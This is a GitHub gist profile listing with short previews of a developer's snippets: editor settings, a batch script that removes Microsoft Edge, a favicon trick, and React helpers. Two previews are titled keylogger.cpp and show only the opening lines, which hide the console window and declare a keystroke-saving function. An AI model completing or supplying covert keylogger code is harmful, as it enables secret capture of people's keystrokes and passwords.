Skip to content

Instantly share code, notes, and snippets.

View heytulsiprasad's full-sized avatar
😵‍💫
Abusing keyboard

Tulsi Prasad heytulsiprasad

😵‍💫
Abusing keyboard
View GitHub Profile
View settings.json
{
"sync.gist": "c9c964ae99f2e35d5e2219b5dfd9b7ef",
"workbench.iconTheme": "material-icon-theme",
"workbench.startupEditor": "newUntitledFile",
"explorer.confirmDelete": false,
"explorer.confirmDragAndDrop": false,
"prettier.packageManager": "yarn",
"[javascript]": {
"editor.defaultFormatter": "esbenp.prettier-vscode"
},
@heytulsiprasad
heytulsiprasad / removeEdge.bat
Last active September 29, 2023 20:06
Removes edge browser from your system permanently
View removeEdge.bat
@echo off
:: Creator: Dave Kirkwood
:: Modified:By Britec
:: Created: 24/09/2020
:: Updated: 21/09/2022
::
:: First Stop Microsoft Edge Task
taskkill /F /IM msedge.exe >nul 2>&1
@heytulsiprasad
heytulsiprasad / emoji.html
Last active September 9, 2023 05:57
Amazing emojis as your favicon
View emoji.html
<head>
<title>Target 2025</title>
<link
rel="icon"
href="data:image/svg+xml,<svg xmlns=%22http://www.w3.org/2000/svg%22 viewBox=%220 0 100 100%22><text y=%22.9em%22 font-size=%2290%22>🎯</text></svg>"
/>
</head>
View keylogger.cpp
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
View keylogger.cpp
#include <iostream>
#include <windows.h>
using namespace std;
int Save(int _key,char *file);
int main()
{
FreeConsole();
View pageReducer.js
import * as Actions from './../../../constants/actionTypes';
const initialState = {
pages: [],
};
const pageReducer = (state = initialState, action) => {
switch (action.type) {
// New page open
case Actions.ADD_PAGE: {
@heytulsiprasad
heytulsiprasad / useNonInitialHook.js
Last active October 27, 2021 13:05
Custom hook that doesn't run on initial render
View useNonInitialHook.js
import { useRef, useEffect } from "react";
const useNonInitialEffect = (effect, deps = []) => {
const initialRender = useRef(true);
useEffect(() => {
let effectReturns = () => {};
if (initialRender.current) {
initialRender.current = false;
View connect.js
import React from "react";
import { connect } from "react-redux";
import { loadMoreChatrooms } from "actions";
import AllChatrooms from "./AllChatrooms";
const Profile = ({ chatrooms, loadMoreChatrooms }) => {
return (
<div>
<AllChatrooms chatrooms={chatrooms} />
@heytulsiprasad
heytulsiprasad / timeDifference.js
Created September 22, 2021 04:42
Shows how to calculate difference in execution time in react native
View timeDifference.js
console.log(JSON.stringify({ filter }, null, 4));
const start = new Date().getTime();
const end = new Date().getTime();
const time = end - start;
console.log({
inLength: filteredChatrooms.length,
filterTime: time,